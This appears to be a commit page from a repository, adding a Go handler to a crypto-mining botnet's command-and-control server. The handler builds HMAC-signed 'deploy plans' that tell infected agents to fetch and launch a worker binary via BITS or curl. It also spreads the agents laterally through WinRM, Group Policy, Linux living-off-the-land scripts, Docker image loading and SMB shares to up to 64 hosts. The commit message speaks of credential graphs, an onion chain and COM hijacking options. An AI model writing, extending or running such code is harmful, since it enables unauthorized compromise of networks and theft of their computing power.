Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
332
server/internal/api/deploy_plan.go
Normal file
332
server/internal/api/deploy_plan.go
Normal file
@@ -0,0 +1,332 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||||
type StagingManifest struct {
|
||||
Method string `json:"method"`
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||||
type DeployPlanBody struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Plan DeployPlanBody `json:"plan"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
|
||||
type DeployPlanHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
publicURL func() string
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
return &DeployPlanHandler{
|
||||
db: database,
|
||||
dataDir: dataDir,
|
||||
projectRoot: projectRoot,
|
||||
publicURL: publicURL,
|
||||
fleetSecret: fleetSecret,
|
||||
allowlist: allowlist,
|
||||
}
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.Services) == 0 {
|
||||
http.Error(w, "services required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
list := map[string]ServiceDeployLane{}
|
||||
if h.allowlist != nil {
|
||||
list = h.allowlist()
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(req.Services, list)
|
||||
if !ok {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": false,
|
||||
"error": "no allowlisted running services matched",
|
||||
"checked": len(req.Services),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
plan, err := h.buildPlan(req, matched, lane)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
sig, err := signDeployPlan(plan, h.fleetSecret())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, deployPlanResponse{
|
||||
OK: true,
|
||||
JoinLane: plan.JoinLane,
|
||||
MatchedService: matched,
|
||||
Plan: plan,
|
||||
Signature: sig,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
|
||||
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
|
||||
body := DeployPlanBody{
|
||||
JoinLane: lane.Lane,
|
||||
MatchedService: matched,
|
||||
Action: lane.Lane,
|
||||
}
|
||||
|
||||
switch lane.Lane {
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
case "docker_load":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
|
||||
if body.ImageTarURL != "" && req.BuildID != "" {
|
||||
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
|
||||
body.ImageTarSHA256 = hash
|
||||
}
|
||||
}
|
||||
case "winrm", "gpo", "linux_lotl":
|
||||
tpl := strings.TrimSpace(lane.Template)
|
||||
if tpl == "" {
|
||||
tpl = lane.Lane
|
||||
}
|
||||
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Script = script
|
||||
case "spread_smb_unc":
|
||||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||
body.MaxHosts = 64
|
||||
default:
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
|
||||
method := "bits"
|
||||
if platform == "linux" || platform == "darwin" {
|
||||
method = "curl"
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\worker.exe`
|
||||
if platform == "linux" {
|
||||
dest = "/tmp/aetherforge-worker"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: method,
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: "exe",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||||
if buildID != "" {
|
||||
b, err := h.db.GetBuild(buildID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
b, err := h.db.GetLatestBuildForPlatform(platform)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
|
||||
b, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fileSHA256(b.FilePath)
|
||||
}
|
||||
|
||||
func fileSHA256(path string) (string, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
|
||||
subdir, _, err := spreadTemplatePaths(template)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("template dir: %w", err)
|
||||
}
|
||||
var scriptFile string
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
|
||||
scriptFile = filepath.Join(dir, name)
|
||||
break
|
||||
}
|
||||
}
|
||||
if scriptFile == "" {
|
||||
return "", fmt.Errorf("no script in template %s", subdir)
|
||||
}
|
||||
data, err := os.ReadFile(scriptFile)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": serverURL,
|
||||
"{{BUILD_ID}}": buildID,
|
||||
"{{CAMPAIGN}}": campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{COM_HIJACK}}": "false",
|
||||
"{{LOTL_MODE}}": "systemd_run_user",
|
||||
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
|
||||
if fleetSecret == "" {
|
||||
return "", fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
return hex.EncodeToString(mac.Sum(nil)), nil
|
||||
}
|
||||
|
||||
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
|
||||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||||
if fleetSecret == "" || signature == "" {
|
||||
return false
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
Reference in New Issue
Block a user